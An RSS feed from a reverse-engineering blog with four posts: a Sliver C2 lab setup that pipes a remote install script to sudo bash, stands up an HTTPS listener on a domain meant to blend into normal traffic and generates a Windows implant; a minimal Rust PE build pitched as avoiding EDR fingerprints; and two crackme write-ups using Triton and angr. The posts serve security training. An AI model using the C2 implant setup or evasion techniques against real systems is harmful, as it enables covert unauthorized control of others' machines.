<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Spitfire</title><description>Reverse Engineering &amp; Cybersecurity</description><link>https://cyberspitfire.com/</link><language>en</language><item><title>Getting Started with Sliver C2 in a Realistic Lab Environment</title><link>https://cyberspitfire.com/posts/sliver_setup/</link><guid isPermaLink="true">https://cyberspitfire.com/posts/sliver_setup/</guid><description>A practical guide to installing and configuring Sliver C2 in a controlled lab environment that simulates real-world conditions using a VPS, domain, and HTTPS.</description><pubDate>Sun, 05 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::note
&amp;lt;a href=&quot;https://sliver.sh&quot; target=&quot;_blank&quot;&amp;gt;Sliver&amp;lt;/a&amp;gt; is a powerful command and control (C2) framework designed to provide advanced capabilities for covertly managing and controlling remote systems.
:::&lt;/p&gt;
&lt;p&gt;In this article, I’ll demonstrate how to set up and operate a Sliver server in a controlled lab environment designed to simulate real-world conditions, using a VPS and HTTPS for remote communication. A machine with a static public IP address is required so that the implant running on a target machine can communicate reliably. For this purpose, I recommend using a VPS running Ubuntu (24.04 or later).&lt;/p&gt;
&lt;p&gt;:::warning
This setup should only be used in controlled lab environments or with explicit authorization.
:::&lt;/p&gt;
&lt;h2&gt;Installation&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;curl https://sliver.sh/install | sudo bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verify that the installation was successful:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sliver
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
Enable &lt;code&gt;sliver&lt;/code&gt; service to ensure it persists after reboots.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl enable sliver
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;DNS Configuration&lt;/h2&gt;
&lt;p&gt;To achieve a more realistic setup, a domain is required. Since the traffic may be monitored, using a domain makes it more likely to blend in with normal traffic.&lt;/p&gt;
&lt;p&gt;:::tip
Check the &amp;lt;a href=&quot;https://sliver.sh/docs?name=DNS+C2&quot; target=&quot;_blank&quot;&amp;gt;DNS C2&amp;lt;/a&amp;gt; official documentation for more details.
:::&lt;/p&gt;
&lt;h2&gt;Start HTTPS listener&lt;/h2&gt;
&lt;p&gt;Access sliver client with &lt;code&gt;sliver&lt;/code&gt; command and execute:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https --domain &amp;lt;your-domain&amp;gt; --lets-encrypt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sliver can automatically obtain and manage TLS certificates using Let’s Encrypt when the &lt;code&gt;--lets-encrypt&lt;/code&gt; flag is enabled, eliminating the need for manual certificate generation.&lt;/p&gt;
&lt;p&gt;To check if the listener was created successful execute &lt;code&gt;jobs&lt;/code&gt;. Your Sliver server is now ready to receive implant connections, and communications will be encrypted, reducing the risk of data exposure if the network is monitored.&lt;/p&gt;
&lt;p&gt;:::tip
Check the &amp;lt;a href=&quot;https://sliver.sh/docs?name=HTTPS+C2&quot; target=&quot;_blank&quot;&amp;gt;HTTPS C2&amp;lt;/a&amp;gt; official documentation for more details.
:::&lt;/p&gt;
&lt;h2&gt;Generate implant&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;generate --os windows --http &amp;lt;your-domain&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command creates an &lt;code&gt;.exe&lt;/code&gt; file which, when executed on a target machine, will establish a connection with the Sliver server and create a session.&lt;/p&gt;
&lt;p&gt;:::tip
Check the &amp;lt;a href=&quot;https://sliver.sh/docs?name=HTTPS+C2&quot; target=&quot;_blank&quot;&amp;gt;HTTPS C2&amp;lt;/a&amp;gt; official documentation for more details.
:::&lt;/p&gt;
&lt;h2&gt;Basic usage&lt;/h2&gt;
&lt;p&gt;Once the connection is establish, you can list sessions with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sessions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To interact with a specific session, run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use &amp;lt;session-id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After, list availables commands with &lt;code&gt;help&lt;/code&gt;. For example, &lt;code&gt;pwd&lt;/code&gt; print working directory of the active session.&lt;/p&gt;
&lt;p&gt;Use the &lt;code&gt;-h&lt;/code&gt; flag to display help for a specific command.&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;Article source:&lt;/h4&gt;
&lt;p&gt;::github{repo=&quot;matheus-git/spitfire&quot;}&lt;/p&gt;
</content:encoded></item><item><title>Minimal PE: A no_std Rust Setup for Windows</title><link>https://cyberspitfire.com/posts/minimal_binary/</link><guid isPermaLink="true">https://cyberspitfire.com/posts/minimal_binary/</guid><description>A practical guide to building minimal Windows binaries in Rust using no_std and no_main, with custom entry points and WinAPI bindings.</description><pubDate>Sun, 22 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this article, I&apos;ll show how I implemented a minimal binary with &lt;code&gt;#![no_std]&lt;/code&gt; and &lt;code&gt;#![no_main]&lt;/code&gt;. By default, a Rust binary ships with the standard library, a heap allocator, runtime initialization code, and a set of well-known imports. This adds size and, more importantly, creates a fingerprint that static analysis tools and EDRs recognize immediately.&lt;/p&gt;
&lt;p&gt;:::note[Size Comparison]
A standard &quot;Hello World&quot; weighs around 126KB, while a minimal binary showing a MessageBox occupies only 2KB.
:::&lt;/p&gt;
&lt;h4&gt;Edit Cargo.toml:&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;[package]
name = &quot;message_box&quot;
version = &quot;0.1.0&quot;
edition = &quot;2024&quot;

[profile.dev]
panic = &quot;abort&quot;

[profile.release]
opt-level = &quot;z&quot;
lto = true
codegen-units = 1
panic = &quot;abort&quot;
strip = true
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;opt-level = &quot;z&quot;&lt;/code&gt; optimizes for size rather than speed, the &lt;strong&gt;z&lt;/strong&gt; flag aggressively eliminates anything that adds bytes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lto = true&lt;/code&gt; enables &lt;strong&gt;Link Time Optimization&lt;/strong&gt;, allowing the linker to remove unused code across crates and produce a leaner final binary.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;codegen-units = 1&lt;/code&gt; forces the compiler to treat the entire crate as a single unit, enabling better dead code elimination at the cost of longer compile times.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;panic = &quot;abort&quot;&lt;/code&gt; replaces the default panic handler with a simple abort, removing a significant chunk of runtime code. Applied to both dev and release profiles to keep behavior consistent.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;strip = true&lt;/code&gt; strips debug symbols from the final binary.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Create .cargo/config.toml:&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;[build]
target = &quot;x86_64-pc-windows-msvc&quot;

rustflags = [
  &quot;-C&quot;, &quot;link-arg=/ENTRY:mainCRTStartup&quot;,
  &quot;-C&quot;, &quot;link-arg=/SUBSYSTEM:WINDOWS&quot;,
  &quot;-C&quot;, &quot;link-arg=/NODEFAULTLIB&quot;,
  &quot;-C&quot;, &quot;link-arg=/MERGE:.rdata=.text&quot;,
  &quot;-C&quot;, &quot;link-arg=/MERGE:.pdata=.text&quot;,
]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;target = &quot;x86_64-pc-windows-msvc&quot;&lt;/code&gt; sets the default compilation target, so you don&apos;t need to pass &lt;strong&gt;--target&lt;/strong&gt; on every cargo build.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/ENTRY:mainCRTStartup&lt;/code&gt; tells the linker which function serves as the binary&apos;s entry point.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/SUBSYSTEM:WINDOWS&lt;/code&gt; defines the PE subsystem. Using &lt;strong&gt;WINDOWS&lt;/strong&gt; instead of &lt;strong&gt;CONSOLE&lt;/strong&gt; tells Windows this is a GUI application.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/NODEFAULTLIB&lt;/code&gt; instructs the linker to not automatically link any default libraries, only what you explicitly declare gets linked.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/MERGE:.rdata=.text&lt;/code&gt; merges the &lt;strong&gt;.rdata&lt;/strong&gt; section into &lt;strong&gt;.text&lt;/strong&gt;, reducing the total number of PE sections and trimming binary size.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/MERGE:.pdata=.text&lt;/code&gt; does the same for &lt;strong&gt;.pdata&lt;/strong&gt;, which holds exception handling data for stack unwinding. Since we use panic = &quot;abort&quot;, this section is unused and can be safely merged away.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Edit src/main.rs&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#![no_std]
#![no_main]

use core::panic::PanicInfo;
use core::ptr;
use core::ffi::c_void;

#[link(name = &quot;user32&quot;)]
unsafe extern &quot;system&quot; {
    fn MessageBoxA(
        hwnd: *mut c_void,
        text: *const u8,
        title: *const u8,
        flags: u32,
    ) -&amp;gt; i32;
}

#[link(name = &quot;kernel32&quot;)]
unsafe extern &quot;system&quot; {
    fn ExitProcess(uExitCode: u32) -&amp;gt; !;
}

#[panic_handler]
fn panic(_: &amp;amp;PanicInfo) -&amp;gt; ! {
    unsafe {
        ExitProcess(1);
    }
}

#[unsafe(no_mangle)]
pub extern &quot;system&quot; fn mainCRTStartup() -&amp;gt; ! {
    static TITLE: &amp;amp;[u8] = b&quot;Title\0&quot;;
    static BODY: &amp;amp;[u8] = b&quot;Hello, world!\0&quot;;

    unsafe {
        MessageBoxA(
            ptr::null_mut(),
            BODY.as_ptr(),
            TITLE.as_ptr(),
            0x00000030,
        );
        ExitProcess(0);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#![no_std]&lt;/code&gt; disables the Rust standard library entirely, no heap allocator, no runtime, no OS abstractions.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#![no_main]&lt;/code&gt; tells the compiler you are not using the standard main entry point, allowing you to define your own.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#[link(name = &quot;...&quot;)]&lt;/code&gt; instructs the linker to include a specific Windows library.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#[panic_handler]&lt;/code&gt; is mandatory in &lt;strong&gt;no_std&lt;/strong&gt;, without the standard library, you must define what happens on a panic yourself.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#[unsafe(no_mangle)]&lt;/code&gt; prevents Rust from mangling the function name, ensuring the linker can find mainCRTStartup as the entry point we declared in config.toml.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Build and Run&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;cargo build --release
.\target\x86_64-pc-windows-msvc\release\message_box.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If everything is set up correctly, a MessageBox should appear. And the final binary will weigh around 2KB!&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;Article source:&lt;/h4&gt;
&lt;p&gt;::github{repo=&quot;matheus-git/spitfire&quot;}&lt;/p&gt;
</content:encoded></item><item><title>Cracking a Windows Binary with Symbolic Execution using Triton</title><link>https://cyberspitfire.com/posts/simple-crackme/</link><guid isPermaLink="true">https://cyberspitfire.com/posts/simple-crackme/</guid><description>Write‑up of the “simple crackme” CrackMe using Triton to symbolic execution and taint analysis.</description><pubDate>Sun, 08 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this write-up I&apos;m going to solve &amp;lt;a href=&quot;https://crackmes.one/crackme/694dc5b60c16072f40f5a43c&quot; target=&quot;_blank&quot;&amp;gt;simple crackme&amp;lt;/a&amp;gt; crackme. I used Angr in the previous reversing, but this is a windows binary, and Angr is not very suitable for the Windows OS. Therefore, i decided to use &amp;lt;a href=&quot;https://github.com/JonathanSalwan/Triton&quot; target=&quot;_blank&quot;&amp;gt;Triton&amp;lt;/a&amp;gt;, another symbolic execution framework, which allows more controle over the execution and taint analysis.&lt;/p&gt;
&lt;h1&gt;Crackme overview&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./wrong.png&quot; alt=&quot;run_1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &amp;lt;a href=&quot;https://crackmes.one/crackme/694dc5b60c16072f40f5a43c&quot; target=&quot;_blank&quot;&amp;gt;simple crackme&amp;lt;/a&amp;gt; is a very simple program, it reads a password from stdin and show whether it is correct or wrong. When analyzed with IDA, a quick overview on the graph mode reveals that the stdin buffer (rsp + 0x20) goes through a loop that xor&apos;s each input byte, and then compare with it with the string &quot;password&quot;. In other words, the correct password is a string that, after some operations, is transformed into &quot;password&quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ida_1.png&quot; alt=&quot;ida_1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Below is a list of the instructions and their addresses:
&lt;img src=&quot;./ida_2.png&quot; alt=&quot;ida_2&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Solver&lt;/h1&gt;
&lt;p&gt;In order to solve this crackme, i wrote a Triton script in Python, emulating the program execution and symbolizes the input buffer. In addition, I used taint analysis to monitor whether the program reads from or writes to the first byte of the buffer. In order to better understand better how the program manipulate the input. Below, I explain each function of the script, you can view the complete script &amp;lt;a href=&quot;https://github.com/matheus-git/triton-scripts/blob/main/simple-crackme/solve.py&quot; target=&quot;_blank&quot;&amp;gt;here&amp;lt;/a&amp;gt;.&lt;/p&gt;
&lt;p&gt;After initializing the Triton context, I used the lief library to parse the binary and called loadBinary to load its sections into memory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def loadBinary(ctx, binary):
    for sec in binary.sections:
        ctx.setConcreteMemoryAreaValue(
            sec.virtual_address,
            list(sec.content)
        )
        print(f&quot;[+] Loading&quot;
              f&quot; {hex(sec.virtual_address)} - {hex(sec.virtual_address + sec.virtual_size)}&quot;
              f&quot; {sec.name}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, I called the setup function to configure the stack, populate the input buffer, and taint the first byte. RSP is a global variable with an arbitrary value of 0x7ffffff0, note that the buffer address is the same as the one identified during static analysis in IDA, rsp + 0x20.&lt;/p&gt;
&lt;p&gt;After setting the rsp and rbp registers, a loop is executed to populate each byte with a dummy value (0x41, which corresponds to &apos;A&apos; in the ASCII table). Each byte is then symbolized to inform Triton to monitor operations on this memory address, an alias is set to facilitate debugging, and to finish, taintMemory is used to taint the byte at BUFFER_ADDR.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RSP = 0x7ffffff0
BUFFER_ADDR = RSP + 0x20
BUFFER_SIZE = 8

...

def setup(ctx):
    ctx.setConcreteRegisterValue(ctx.registers.rsp, RSP)
    ctx.setConcreteRegisterValue(ctx.registers.rbp, RSP)

    addr = BUFFER_ADDR
    for i in range(BUFFER_SIZE):
        ctx.setConcreteMemoryValue(addr, 0x41)
        sym = ctx.symbolizeMemory(MemoryAccess(addr, CPUSIZE.BYTE))
        sym.setAlias(f&quot;input_{i}&quot;)
        addr += 1

    ctx.taintMemory(BUFFER_ADDR)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The run function receives the address from which the program should start execution. I chose 0x1081 to skip the binary initialization code and avoid having to hook operating system functions, allowing me to focus on the part where the input is transformed. You can check the addresses and instructions in the screenshots at the beginning of the article.&lt;/p&gt;
&lt;p&gt;The condition of the while loop is that the program counter (pc) is less than or equal to the maximum address of the .text section, obtained from the loadBinary function. Each instruction retrieved from the pc address is emulated using ctx.processing(inst).&lt;/p&gt;
&lt;p&gt;If the instruction reads from or writes to memory that has been tainted, it is printed to the console. The program is emulated until CHECK_ADDR is executed, just before the comparison, because by then the input has already been transformed. At this point, Triton knows all the operations that have been executed on the input.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;START_ADDR  = 0x1081
CHECK_ADDR  = 0x10C8

...

def run(ctx, pc):
    while pc &amp;lt;= 0x211c:
        inst = Instruction(pc, ctx.getConcreteMemoryAreaValue(pc, 15))
        ctx.processing(inst)

        if inst.isTainted():
            print(&quot;[tainted] %s&quot; % inst.getDisassembly())
        
        if inst.getAddress() == CHECK_ADDR:
            solve(ctx)
            break

        pc = ctx.getConcreteRegisterValue(ctx.registers.rip)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, the solve function iterates over each symbolized byte and queries Triton for the value it must have to match the corresponding character in the PASSWORD variable.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PASSWORD = b&quot;password&quot;

...

def solve(ctx):
    result = &quot;&quot;
    for k, v in enumerate(PASSWORD):
        input = ctx.getSymbolicMemory(BUFFER_ADDR+k).getAst()
        model = ctx.getModel(input == v)
        value = next(iter(model.values())).getValue()
        result += chr(value)    
    print(&quot;-------------------&quot;)
    print(&quot;Password: %s&quot; % result)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At execute this script, it show the sections loaded, tainted instructions and the correct password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./result.png&quot; alt=&quot;run_2&quot; /&gt;
&lt;img src=&quot;./correct.png&quot; alt=&quot;run_3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://github.com/matheus-git/triton-scripts/blob/main/simple-crackme/solve.py&quot; target=&quot;_blank&quot;&amp;gt;Source code&amp;lt;/a&amp;gt;.&lt;/p&gt;
</content:encoded></item><item><title>Reverse Engineering “Good Kitty” CrackMe</title><link>https://cyberspitfire.com/posts/good-kitty/</link><guid isPermaLink="true">https://cyberspitfire.com/posts/good-kitty/</guid><description>Write‑up of the “Good Kitty” CrackMe, including analysis with GDB and IDA, plus an angr script.</description><pubDate>Sat, 03 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this write-up I&apos;m going to solve the &amp;lt;a href=&quot;https://crackmes.one/crackme/68c44e20224c0ec5dcedbf4b&quot; target=&quot;_blank&quot;&amp;gt;good kitty&amp;lt;/a&amp;gt; crackme. The objective is to discover the right password, and so the message &quot;good kitty!&quot; is written on stdout. Otherwise &quot;bad kitty!&quot; is shown instead, as in the print below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./run_1.png&quot; alt=&quot;run_1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I opened the binary in IDA to start static analysis and get an overview of the implementation and trying to figure out ways to discover the password. At first, there is a relatively long section of code that I&apos;m not interested in understanding, so to avoid distractions I looked for the block where the password is read, hopping for a concrete clue.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;IDA_2.png&quot; alt=&quot;foo bar&quot; title=&quot;title&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see in the graph, the first block calls _read, which stores the user input in the buffer located at rsp+0x60, with a length of 64 bytes. After that, the execution flow doesn&apos;t return, so I plan to write a symbolic-execution script (with angr) to solve the remaining code. For angr script to start into the middle of the binary, I need to set up the stack data that is required afterward. To do this, I run gdb and collect the necessary values, for example, rsp+0xb.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import angr
import claripy

def main():
    proj = angr.Project(
            &apos;good-kitty&apos;,
            auto_load_libs=False,
            main_opts={
                &quot;base_addr&quot;: 0x555555554000
            }
        )

    chars = [claripy.BVS(&apos;char_%d&apos; % i, 8) for i in range(64)]
    input_arg = claripy.Concat(*chars)

    state = proj.factory.blank_state(addr=0x555555555539)

    for k in chars:
        state.solver.add(k &amp;lt; 0x7f)
        state.solver.add(k &amp;gt; 0x20)

    STACK_BASE = 0x7fffffffdc80
    STACK_SIZE = 0x1000

    state.memory.map_region(
        STACK_BASE - STACK_SIZE,
        STACK_SIZE,
        7
    )

    state.regs.rsp = STACK_BASE
    state.regs.rax = claripy.BVS(&quot;rax&quot;, 64)

    state.memory.store(
        state.regs.rsp + 0xb,
        claripy.BVV(1, 8)
    )
    state.memory.store(
        state.regs.rsp + 0xc,
        claripy.BVV(0, 32)
    )
    state.memory.store(
        state.regs.rsp + 0x60,
        input_arg
    )
    state.memory.store(
        state.regs.rsp + 0x10,
        b&quot;00sGo4M0passwordenter the right password\x00&quot;
    )

    sm = proj.factory.simulation_manager(state)
    sm.explore( find=lambda s: b&quot;good kitty!&quot; in s.posix.dumps(1), avoid=lambda s: b&quot;bad kitty!&quot; in s.posix.dumps(1) )

    if sm.found:
        input_value = sm.found[0].solver.eval(input_arg, cast_to=bytes)
        print(f&quot;{input_value}&quot;)
    else:
        print(&quot;Bad kitty!&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At execute this script, the right password &quot;00sGo4M0&quot; is shown and the crackme is solved. You can find the binary and script in my &amp;lt;a href=&quot;https://github.com/matheus-git/angr-scripts/blob/main/good-kitty/solve.py&quot; target=&quot;_blank&quot;&amp;gt;github&amp;lt;/a&amp;gt; repository.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./run_2.png&quot; alt=&quot;run_2&quot; /&gt;
&lt;img src=&quot;./run_3.png&quot; alt=&quot;run_3&quot; /&gt;&lt;/p&gt;
</content:encoded></item></channel></rss>